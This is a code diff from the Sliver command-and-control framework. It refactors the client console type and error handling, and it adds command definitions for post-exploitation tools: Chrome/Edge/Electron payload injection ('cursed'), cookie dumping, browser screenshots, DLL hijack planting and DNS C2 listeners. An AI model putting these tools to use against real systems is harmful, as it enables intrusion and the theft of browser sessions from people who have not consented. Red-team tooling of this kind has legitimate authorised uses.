{ - return nil, err + return nil, con.UnwrapServerErr(err) } } else { creds, err = con.Rpc.GetCredsByHashType(context.Background(), &clientpb.Credential{HashType: hashType}) if err != nil { - return nil, err + return nil, con.UnwrapServerErr(err) } } if len(creds.Credentials) == 0 { diff --git a/client/command/cursed/commands.go b/client/command/cursed/commands.go new file mode 100644 index 0000000000..c4b518a142 --- /dev/null +++ b/client/command/cursed/commands.go @@ -0,0 +1,155 @@ +package cursed + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + cursedCmd := &cobra.Command{ + Use: consts.Cursed, + Short: "Chrome/electron post-exploitation tool kit (∩`-´)⊃━☆゚.*・。゚", + // Short: "Chrome/electron post-exploitation tool kit (∩`-´)⊃━☆゚.*・。゚", + Long: help.GetHelpFor([]string{consts.Cursed}), + GroupID: consts.ExecutionHelpGroup, + Annotations: flags.RestrictTargets(consts.SessionCmdsFilter), + Run: func(cmd *cobra.Command, args []string) { + CursedCmd(cmd, con, args) + }, + } + flags.Bind("", true, cursedCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + cursedRmCmd := &cobra.Command{ + Use: consts.RmStr, + Short: "Remove a Curse from a process", + Long: help.GetHelpFor([]string{consts.Cursed, consts.CursedConsole}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + CursedRmCmd(cmd, con, args) + }, + } + cursedCmd.AddCommand(cursedRmCmd) + flags.Bind("", false, cursedRmCmd, func(f *pflag.FlagSet) { + f.BoolP("kill", "k", false, "kill the process after removing the curse") + }) + carapace.Gen(cursedRmCmd).PositionalCompletion(carapace.ActionValues().Usage("bind port of the Cursed process to stop")) + + cursedConsoleCmd := &cobra.Command{ + Use: consts.CursedConsole, + Short: "Start a JavaScript console connected to a debug target", + Long: help.GetHelpFor([]string{consts.Cursed, consts.CursedConsole}), + Run: func(cmd *cobra.Command, args []string) { + CursedConsoleCmd(cmd, con, args) + }, + } + cursedCmd.AddCommand(cursedConsoleCmd) + flags.Bind("", false, cursedConsoleCmd, func(f *pflag.FlagSet) { + f.IntP("remote-debugging-port", "r", 0, "remote debugging tcp port (0 = random)`") + }) + + cursedChromeCmd := &cobra.Command{ + Use: consts.CursedChrome, + Short: "Automatically inject a Cursed Chrome payload into a remote Chrome extension", + Long: help.GetHelpFor([]string{consts.Cursed, consts.CursedChrome}), + Run: func(cmd *cobra.Command, args []string) { + CursedChromeCmd(cmd, con, args) + }, + } + cursedCmd.AddCommand(cursedChromeCmd) + flags.Bind("", false, cursedChromeCmd, func(f *pflag.FlagSet) { + f.IntP("remote-debugging-port", "r", 0, "remote debugging tcp port (0 = random)") + f.BoolP("restore", "R", true, "restore the user's session after process termination") + f.StringP("exe", "e", "", "chrome/chromium browser executable path (blank string = auto)") + f.StringP("user-data", "u", "", "user data directory (blank string = auto)") + f.StringP("payload", "p", "", "cursed chrome payload file path (.js)") + f.BoolP("keep-alive", "k", false, "keeps browser alive after last browser window closes") + f.BoolP("headless", "H", false, "start browser process in headless mode") + }) + completers.NewFlagCompsFor(cursedChromeCmd, func(comp *carapace.ActionMap) { + (*comp)["payload"] = carapace.ActionFiles("js").Tag("javascript files") + }) + cursedChromeCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true + carapace.Gen(cursedChromeCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("additional Chrome CLI arguments")) + + cursedEdgeCmd := &cobra.Command{ + Use: consts.CursedEdge, + Short: "Automatically inject a Cursed Chrome payload into a remote Edge extension", + Long: help.GetHelpFor([]string{consts.Cursed, consts.CursedEdge}), + Run: func(cmd *cobra.Command, args []string) { + CursedEdgeCmd(cmd, con, args) + }, + } + cursedCmd.AddCommand(cursedEdgeCmd) + flags.Bind("", false, cursedEdgeCmd, func(f *pflag.FlagSet) { + f.IntP("remote-debugging-port", "r", 0, "remote debugging tcp port (0 = random)") + f.BoolP("restore", "R", true, "restore the user's session after process termination") + f.StringP("exe", "e", "", "edge browser executable path (blank string = auto)") + f.StringP("user-data", "u", "", "user data directory (blank string = auto)") + f.StringP("payload", "p", "", "cursed chrome payload file path (.js)") + f.BoolP("keep-alive", "k", false, "keeps browser alive after last browser window closes") + f.BoolP("headless", "H", false, "start browser process in headless mode") + }) + completers.NewFlagCompsFor(cursedEdgeCmd, func(comp *carapace.ActionMap) { + (*comp)["payload"] = carapace.ActionFiles("js").Tag("javascript files") + }) + cursedEdgeCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true + carapace.Gen(cursedEdgeCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("additional Edge CLI arguments")) + + cursedElectronCmd := &cobra.Command{ + Use: consts.CursedElectron, + Short: "Curse a remote Electron application", + Long: help.GetHelpFor([]string{consts.Cursed, consts.CursedElectron}), + Run: func(cmd *cobra.Command, args []string) { + CursedElectronCmd(cmd, con, args) + }, + } + cursedCmd.AddCommand(cursedElectronCmd) + flags.Bind("", false, cursedElectronCmd, func(f *pflag.FlagSet) { + f.StringP("exe", "e", "", "remote electron executable absolute path") + f.IntP("remote-debugging-port", "r", 0, "remote debugging tcp port (0 = random)") + }) + cursedElectronCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true + carapace.Gen(cursedElectronCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("additional Electron CLI arguments")) + + CursedCookiesCmd := &cobra.Command{ + Use: consts.CursedCookies, + Short: "Dump all cookies from cursed process", + Long: help.GetHelpFor([]string{consts.Cursed, consts.CursedCookies}), + Run: func(cmd *cobra.Command, args []string) { + CursedCookiesCmd(cmd, con, args) + }, + } + cursedCmd.AddCommand(CursedCookiesCmd) + flags.Bind("", false, CursedCookiesCmd, func(f *pflag.FlagSet) { + f.StringP("save", "s", "", "save to file") + }) + completers.NewFlagCompsFor(CursedCookiesCmd, func(comp *carapace.ActionMap) { + (*comp)["save"] = carapace.ActionFiles() + }) + + cursedScreenshotCmd := &cobra.Command{ + Use: consts.ScreenshotStr, + Short: "Take a screenshot of a cursed process debug target", + Long: help.GetHelpFor([]string{consts.Cursed, consts.ScreenshotStr}), + Run: func(cmd *cobra.Command, args []string) { + CursedScreenshotCmd(cmd, con, args) + }, + } + cursedCmd.AddCommand(cursedScreenshotCmd) + flags.Bind("", false, cursedScreenshotCmd, func(f *pflag.FlagSet) { + f.Int64P("quality", "q", 100, "screenshot quality (1 - 100)") + f.StringP("save", "s", "", "save to file") + }) + + return []*cobra.Command{cursedCmd} +} diff --git a/client/command/cursed/cursed-chrome.go b/client/command/cursed/cursed-chrome.go index 04cfa2146d..33a42c9241 100644 --- a/client/command/cursed/cursed-chrome.go +++ b/client/command/cursed/cursed-chrome.go @@ -51,8 +51,8 @@ var ( cursedChromePermissionsAlt = []string{overlord.AllHTTP, overlord.AllHTTPS, overlord.WebRequest, overlord.WebRequestBlocking} ) -// CursedChromeCmd - Execute a .NET assembly in-memory -func CursedChromeCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// CursedChromeCmd - Execute a .NET assembly in-memory. +func CursedChromeCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return @@ -112,7 +112,7 @@ func CursedChromeCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args } } -func avadaKedavraChrome(session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient, cargs []string) *core.CursedProcess { +func avadaKedavraChrome(session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient, cargs []string) *core.CursedProcess { chromeProcess, err := getChromeProcess(session, cmd, con) if err != nil { con.PrintErrorf("%s\n", err) @@ -138,7 +138,7 @@ func avadaKedavraChrome(session *clientpb.Session, cmd *cobra.Command, con *cons Pid: chromeProcess.GetPid(), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return nil } if terminateResp.Response != nil && terminateResp.Response.Err != "" { @@ -154,7 +154,7 @@ func avadaKedavraChrome(session *clientpb.Session, cmd *cobra.Command, con *cons return curse } -func startCursedChromeProcess(isEdge bool, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient, cargs []string) (*core.CursedProcess, error) { +func startCursedChromeProcess(isEdge bool, session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient, cargs []string) (*core.CursedProcess, error) { name := "Chrome" if isEdge { name = "Edge" @@ -207,7 +207,7 @@ func startCursedChromeProcess(isEdge bool, session *clientpb.Session, cmd *cobra }) if err != nil { con.Printf("failure!\n") - return nil, err + return nil, con.UnwrapServerErr(err) } con.Printf("(pid: %d) success!\n", chromeExec.GetPid()) @@ -254,7 +254,7 @@ func startCursedChromeProcess(isEdge bool, session *clientpb.Session, cmd *cobra return curse, nil } -func findChromeUserDataDir(isEdge bool, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) (string, error) { +func findChromeUserDataDir(isEdge bool, session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient) (string, error) { userDataFlag, _ := cmd.Flags().GetString("user-data") if userDataFlag != "" { return userDataFlag, nil @@ -277,7 +277,7 @@ func findChromeUserDataDir(isEdge bool, session *clientpb.Session, cmd *cobra.Co Path: userDataDir, }) if err != nil { - return "", err + return "", con.UnwrapServerErr(err) } if ls.GetExists() { return userDataDir, nil @@ -295,7 +295,7 @@ func findChromeUserDataDir(isEdge bool, session *clientpb.Session, cmd *cobra.Co Path: userDataDir, }) if err != nil { - return "", err + return "", con.UnwrapServerErr(err) } if ls.GetExists() { return userDataDir, nil @@ -307,7 +307,7 @@ func findChromeUserDataDir(isEdge bool, session *clientpb.Session, cmd *cobra.Co } } -func findChromeExecutablePath(isEdge bool, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) (string, error) { +func findChromeExecutablePath(isEdge bool, session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient) (string, error) { exeFlag, _ := cmd.Flags().GetString("exe") if exeFlag != "" { return exeFlag, nil @@ -342,7 +342,7 @@ func findChromeExecutablePath(isEdge bool, session *clientpb.Session, cmd *cobra Path: chromeExecutablePath, }) if err != nil { - return "", err + return "", con.UnwrapServerErr(err) } if ls.GetExists() { return chromeExecutablePath, nil @@ -362,7 +362,7 @@ func findChromeExecutablePath(isEdge bool, session *clientpb.Session, cmd *cobra Path: defaultChromePath, }) if err != nil { - return "", err + return "", con.UnwrapServerErr(err) } if ls.GetExists() { return defaultChromePath, nil @@ -388,7 +388,7 @@ func findChromeExecutablePath(isEdge bool, session *clientpb.Session, cmd *cobra Path: chromePath, }) if err != nil { - return "", err + return "", con.UnwrapServerErr(err) } if ls.GetExists() { return chromePath, nil @@ -417,12 +417,12 @@ func isChromeProcess(executable string) bool { return false } -func getChromeProcess(session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) (*commonpb.Process, error) { +func getChromeProcess(session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient) (*commonpb.Process, error) { ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{ Request: con.ActiveTarget.Request(cmd), }) if err != nil { - return nil, err + return nil, con.UnwrapServerErr(err) } for _, process := range ps.Processes { if process.GetOwner() != session.GetUsername() { diff --git a/client/command/cursed/cursed-console.go b/client/command/cursed/cursed-console.go index 046bb45308..f70bdcb42a 100644 --- a/client/command/cursed/cursed-console.go +++ b/client/command/cursed/cursed-console.go @@ -35,7 +35,7 @@ import ( "github.com/bishopfox/sliver/client/overlord" ) -func CursedConsoleCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func CursedConsoleCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { curse := selectCursedProcess(con) if curse == nil { return @@ -56,7 +56,7 @@ func CursedConsoleCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args startCursedConsole(curse, true, target, con) } -func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.SliverConsoleClient) *overlord.ChromeDebugTarget { +func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.SliverClient) *overlord.ChromeDebugTarget { if len(targets) < 1 { con.PrintErrorf("No debug targets\n") return nil @@ -94,7 +94,7 @@ var helperHooks = []string{ "console.log = (...a) => {return a;}", // console.log } -func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlord.ChromeDebugTarget, con *console.SliverConsoleClient) { +func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlord.ChromeDebugTarget, con *console.SliverClient) { tmpFile, _ := os.CreateTemp("", "cursed") shell := readline.NewShell() shell.History.AddFromFile("cursed history", tmpFile.Name()) diff --git a/client/command/cursed/cursed-cookies.go b/client/command/cursed/cursed-cookies.go index 59859771d0..a2f46dfa4e 100644 --- a/client/command/cursed/cursed-cookies.go +++ b/client/command/cursed/cursed-cookies.go @@ -30,7 +30,7 @@ import ( "github.com/bishopfox/sliver/client/overlord" ) -func CursedCookiesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func CursedCookiesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { curse := selectCursedProcess(con) if curse == nil { return diff --git a/client/command/cursed/cursed-edge.go b/client/command/cursed/cursed-edge.go index a83da8c2f3..acf82236e9 100644 --- a/client/command/cursed/cursed-edge.go +++ b/client/command/cursed/cursed-edge.go @@ -21,7 +21,6 @@ package cursed import ( "context" "os" - "strings" "github.com/AlecAivazis/survey/v2" @@ -35,8 +34,8 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// CursedChromeCmd - Execute a .NET assembly in-memory -func CursedEdgeCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// CursedChromeCmd - Execute a .NET assembly in-memory. +func CursedEdgeCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return @@ -96,7 +95,7 @@ func CursedEdgeCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [] } } -func avadaKedavraEdge(session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient, cargs []string) *core.CursedProcess { +func avadaKedavraEdge(session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient, cargs []string) *core.CursedProcess { edgeProcess, err := getEdgeProcess(session, cmd, con) if err != nil { con.PrintErrorf("%s\n", err) @@ -122,7 +121,7 @@ func avadaKedavraEdge(session *clientpb.Session, cmd *cobra.Command, con *consol Pid: edgeProcess.GetPid(), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return nil } if terminateResp.Response != nil && terminateResp.Response.Err != "" { @@ -153,12 +152,12 @@ func isEdgeProcess(executable string) bool { return false } -func getEdgeProcess(session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) (*commonpb.Process, error) { +func getEdgeProcess(session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient) (*commonpb.Process, error) { ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{ Request: con.ActiveTarget.Request(cmd), }) if err != nil { - return nil, err + return nil, con.UnwrapServerErr(err) } for _, process := range ps.Processes { if process.GetOwner() != session.GetUsername() { diff --git a/client/command/cursed/cursed-electron.go b/client/command/cursed/cursed-electron.go index 1d11bc2422..7d9d89c5ec 100644 --- a/client/command/cursed/cursed-electron.go +++ b/client/command/cursed/cursed-electron.go @@ -38,7 +38,7 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -func CursedElectronCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func CursedElectronCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return @@ -68,7 +68,7 @@ func CursedElectronCmd(cmd *cobra.Command, con *console.SliverConsoleClient, arg con.PrintInfof("Found %d debug targets, good hunting!\n", len(targets)) } -func avadaKedavraElectron(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient, cargs []string) *core.CursedProcess { +func avadaKedavraElectron(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient, cargs []string) *core.CursedProcess { exists, err := checkElectronPath(electronExe, session, cmd, con) if err != nil { con.PrintErrorf("%s", err) @@ -103,7 +103,7 @@ func avadaKedavraElectron(electronExe string, session *clientpb.Session, cmd *co Pid: electronProcess.Pid, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return nil } if terminateResp.Response != nil && terminateResp.Response.Err != "" { @@ -119,23 +119,23 @@ func avadaKedavraElectron(electronExe string, session *clientpb.Session, cmd *co return curse } -func checkElectronPath(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) (bool, error) { +func checkElectronPath(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient) (bool, error) { ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{ Request: con.ActiveTarget.Request(cmd), Path: electronExe, }) if err != nil { - return false, err + return false, con.UnwrapServerErr(err) } return ls.GetExists(), nil } -func checkElectronProcess(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) (*commonpb.Process, error) { +func checkElectronProcess(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient) (*commonpb.Process, error) { ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{ Request: con.ActiveTarget.Request(cmd), }) if err != nil { - return nil, err + return nil, con.UnwrapServerErr(err) } for _, process := range ps.Processes { if process.GetOwner() != session.GetUsername() { @@ -148,7 +148,7 @@ func checkElectronProcess(electronExe string, session *clientpb.Session, cmd *co return nil, nil } -func startCursedElectronProcess(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient, cargs []string) (*core.CursedProcess, error) { +func startCursedElectronProcess(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient, cargs []string) (*core.CursedProcess, error) { con.PrintInfof("Starting '%s' ... ", path.Base(electronExe)) debugPort := getRemoteDebuggerPort(cmd) args := []string{ @@ -169,7 +169,7 @@ func startCursedElectronProcess(electronExe string, session *clientpb.Session, c }) if err != nil { con.Printf("failure!\n") - return nil, err + return nil, con.UnwrapServerErr(err) } con.Printf("(pid: %d) success!\n", electronExec.GetPid()) diff --git a/client/command/cursed/cursed-rm.go b/client/command/cursed/cursed-rm.go index 3220557f23..4808fd6886 100644 --- a/client/command/cursed/cursed-rm.go +++ b/client/command/cursed/cursed-rm.go @@ -30,7 +30,7 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -func CursedRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func CursedRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return @@ -71,7 +71,7 @@ func CursedRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st Pid: int32(cursedProc.PID), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if terminateResp.Response != nil && terminateResp.Response.Err != "" { diff --git a/client/command/cursed/cursed-screenshot.go b/client/command/cursed/cursed-screenshot.go index d6cc8dc4ca..237ccf6908 100644 --- a/client/command/cursed/cursed-screenshot.go +++ b/client/command/cursed/cursed-screenshot.go @@ -29,7 +29,7 @@ import ( "github.com/bishopfox/sliver/client/overlord" ) -func CursedScreenshotCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func CursedScreenshotCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { curse := selectCursedProcess(con) if curse == nil { return diff --git a/client/command/cursed/cursed.go b/client/command/cursed/cursed.go index fe81219f6d..017c5c7ac5 100644 --- a/client/command/cursed/cursed.go +++ b/client/command/cursed/cursed.go @@ -35,8 +35,8 @@ import ( "github.com/bishopfox/sliver/client/core" ) -// CursedChromeCmd - Execute a .NET assembly in-memory -func CursedCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// CursedChromeCmd - Execute a .NET assembly in-memory. +func CursedCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { // Collect existing curses from core cursedProcesses := [][]string{} core.CursedProcesses.Range(func(key, value interface{}) bool { @@ -55,6 +55,7 @@ func CursedCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri if 0 < len(cursedProcesses) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{ "Bind Port", "Session ID", "PID", "Platform", "Executable", "Debug URL", }) @@ -71,8 +72,8 @@ func CursedCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri } } -// selectCursedProcess - Interactively select a cursed process from a list -func selectCursedProcess(con *console.SliverConsoleClient) *core.CursedProcess { +// selectCursedProcess - Interactively select a cursed process from a list. +func selectCursedProcess(con *console.SliverClient) *core.CursedProcess { cursedProcesses := []*core.CursedProcess{} core.CursedProcesses.Range(func(key, value interface{}) bool { cursedProcesses = append(cursedProcesses, value.(*core.CursedProcess)) diff --git a/client/command/dllhijack/commands.go b/client/command/dllhijack/commands.go new file mode 100644 index 0000000000..db5e4ad9b6 --- /dev/null +++ b/client/command/dllhijack/commands.go @@ -0,0 +1,44 @@ +package dllhijack + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/generate" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + dllhijackCmd := &cobra.Command{ + Use: consts.DLLHijackStr, + Short: "Plant a DLL for a hijack scenario", + Long: help.GetHelpFor([]string{consts.DLLHijackStr}), + GroupID: consts.ExecutionHelpGroup, + Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + DllHijackCmd(cmd, con, args) + }, + } + flags.Bind("", false, dllhijackCmd, func(f *pflag.FlagSet) { + f.StringP("reference-path", "r", "", "Path to the reference DLL on the remote system") + f.StringP("reference-file", "R", "", "Path to the reference DLL on the local system") + f.StringP("file", "f", "", "Local path to the DLL to plant for the hijack") + f.StringP("profile", "p", "", "Profile name to use as a base DLL") + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + completers.NewFlagCompsFor(dllhijackCmd, func(comp *carapace.ActionMap) { + (*comp)["reference-file"] = carapace.ActionFiles() + (*comp)["file"] = carapace.ActionFiles() + (*comp)["profile"] = generate.ProfileNameCompleter(con) + }) + carapace.Gen(dllhijackCmd).PositionalCompletion(carapace.ActionValues().Usage("Path to upload the DLL to on the remote system")) + + return []*cobra.Command{dllhijackCmd} +} diff --git a/client/command/dllhijack/dllhijack.go b/client/command/dllhijack/dllhijack.go index 48eb91dd19..01aa722bea 100644 --- a/client/command/dllhijack/dllhijack.go +++ b/client/command/dllhijack/dllhijack.go @@ -33,8 +33,8 @@ import ( // dllhijack --ref-path c:\windows\system32\msasn1.dll --profile dll TARGET_PATH // dllhijack --ref-path c:\windows\system32\msasn1.dll --ref-file /tmp/ref.dll --profile dll TARGET_PATH -// DllHijackCmd -- implements the dllhijack command -func DllHijackCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// DllHijackCmd -- implements the dllhijack command. +func DllHijackCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var ( localRefData []byte targetDLLData []byte @@ -91,7 +91,7 @@ func DllHijackCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []s ctrl <- true <-ctrl if err != nil { - con.PrintErrorf("Error: %s\n", err) + con.PrintErrorf("Error: %s\n", con.UnwrapServerErr(err)) return } diff --git a/client/command/dns/commands.go b/client/command/dns/commands.go new file mode 100644 index 0000000000..f543d2d73c --- /dev/null +++ b/client/command/dns/commands.go @@ -0,0 +1,60 @@ +package dns + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/generate" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the `dns` command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + dnsCmd := &cobra.Command{ + Use: consts.DnsStr, + Short: "DNS handlers management", + GroupID: consts.NetworkHelpGroup, + } + + listenCmd := &cobra.Command{ + Use: consts.ListenStr, + Short: "Start a DNS listener", + Long: help.GetHelpFor([]string{consts.DnsStr}), + Run: func(cmd *cobra.Command, args []string) { + ListenCmd(cmd, con, args) + }, + } + dnsCmd.AddCommand(listenCmd) + + flags.Bind("DNS listener", false, listenCmd, func(f *pflag.FlagSet) { + f.StringP("domains", "d", "", "parent domain(s) to use for DNS c2") + f.BoolP("no-canaries", "c", false, "disable dns canary detection") + f.StringP("lhost", "L", "", "interface to bind server to") + f.Uint32P("lport", "l", generate.DefaultDNSLPort, "udp listen port") + f.BoolP("disable-otp", "D", false, "disable otp authentication") + f.BoolP("persistent", "p", false, "make persistent across restarts") + }) + + return []*cobra.Command{dnsCmd} +} diff --git a/client/command/jobs/dns.go b/client/command/dns/listen.go similarity index 90% rename from client/command/jobs/dns.go rename to client/command/dns/listen.go index fc447adab6..1f63dbb574 100644 --- a/client/command/jobs/dns.go +++ b/client/command/dns/listen.go @@ -1,4 +1,4 @@ -package jobs +package dns /* Sliver Implant Framework @@ -28,8 +28,8 @@ import ( "github.com/bishopfox/sliver/protobuf/clientpb" ) -// DNSListenerCmd - Start a DNS lisenter -func DNSListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ListenCmd - Start a DNS lisenter. +func ListenCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { domainsF, _ := cmd.Flags().GetString("domains") domains := strings.Split(domainsF, ",") for index, domain := range domains { @@ -55,7 +55,7 @@ func DNSListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [ }) con.Println() if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) } else { con.PrintInfof("Successfully started job #%d\n", dns.JobID) } diff --git a/client/command/environment/commands.go b/client/command/environment/commands.go new file mode 100644 index 0000000000..6c030ae77c --- /dev/null +++ b/client/command/environment/commands.go @@ -0,0 +1,59 @@ +package environment + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + envCmd := &cobra.Command{ + Use: consts.EnvStr, + Short: "List environment variables", + Long: help.GetHelpFor([]string{consts.EnvStr}), + Args: cobra.RangeArgs(0, 1), + Run: func(cmd *cobra.Command, args []string) { + EnvGetCmd(cmd, con, args) + }, + GroupID: consts.InfoHelpGroup, + } + flags.Bind("", true, envCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + carapace.Gen(envCmd).PositionalCompletion(carapace.ActionValues().Usage("environment variable to fetch (optional)")) + + envSetCmd := &cobra.Command{ + Use: consts.SetStr, + Short: "Set environment variables", + Long: help.GetHelpFor([]string{consts.EnvStr, consts.SetStr}), + Args: cobra.ExactArgs(2), + Run: func(cmd *cobra.Command, args []string) { + EnvSetCmd(cmd, con, args) + }, + } + envCmd.AddCommand(envSetCmd) + carapace.Gen(envSetCmd).PositionalCompletion( + carapace.ActionValues().Usage("environment variable name"), + carapace.ActionValues().Usage("value to assign"), + ) + + envUnsetCmd := &cobra.Command{ + Use: consts.UnsetStr, + Short: "Clear environment variables", + Long: help.GetHelpFor([]string{consts.EnvStr, consts.UnsetStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + EnvUnsetCmd(cmd, con, args) + }, + } + envCmd.AddCommand(envUnsetCmd) + carapace.Gen(envUnsetCmd).PositionalCompletion(carapace.ActionValues().Usage("environment variable name")) + + return []*cobra.Command{envCmd} +} diff --git a/client/command/environment/get.go b/client/command/environment/get.go index cdf40aecc5..e5c185690f 100644 --- a/client/command/environment/get.go +++ b/client/command/environment/get.go @@ -21,17 +21,16 @@ package environment import ( "context" - "google.golang.org/protobuf/proto" - "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// EnvGetCmd - Get a remote environment variable -func EnvGetCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// EnvGetCmd - Get a remote environment variable. +func 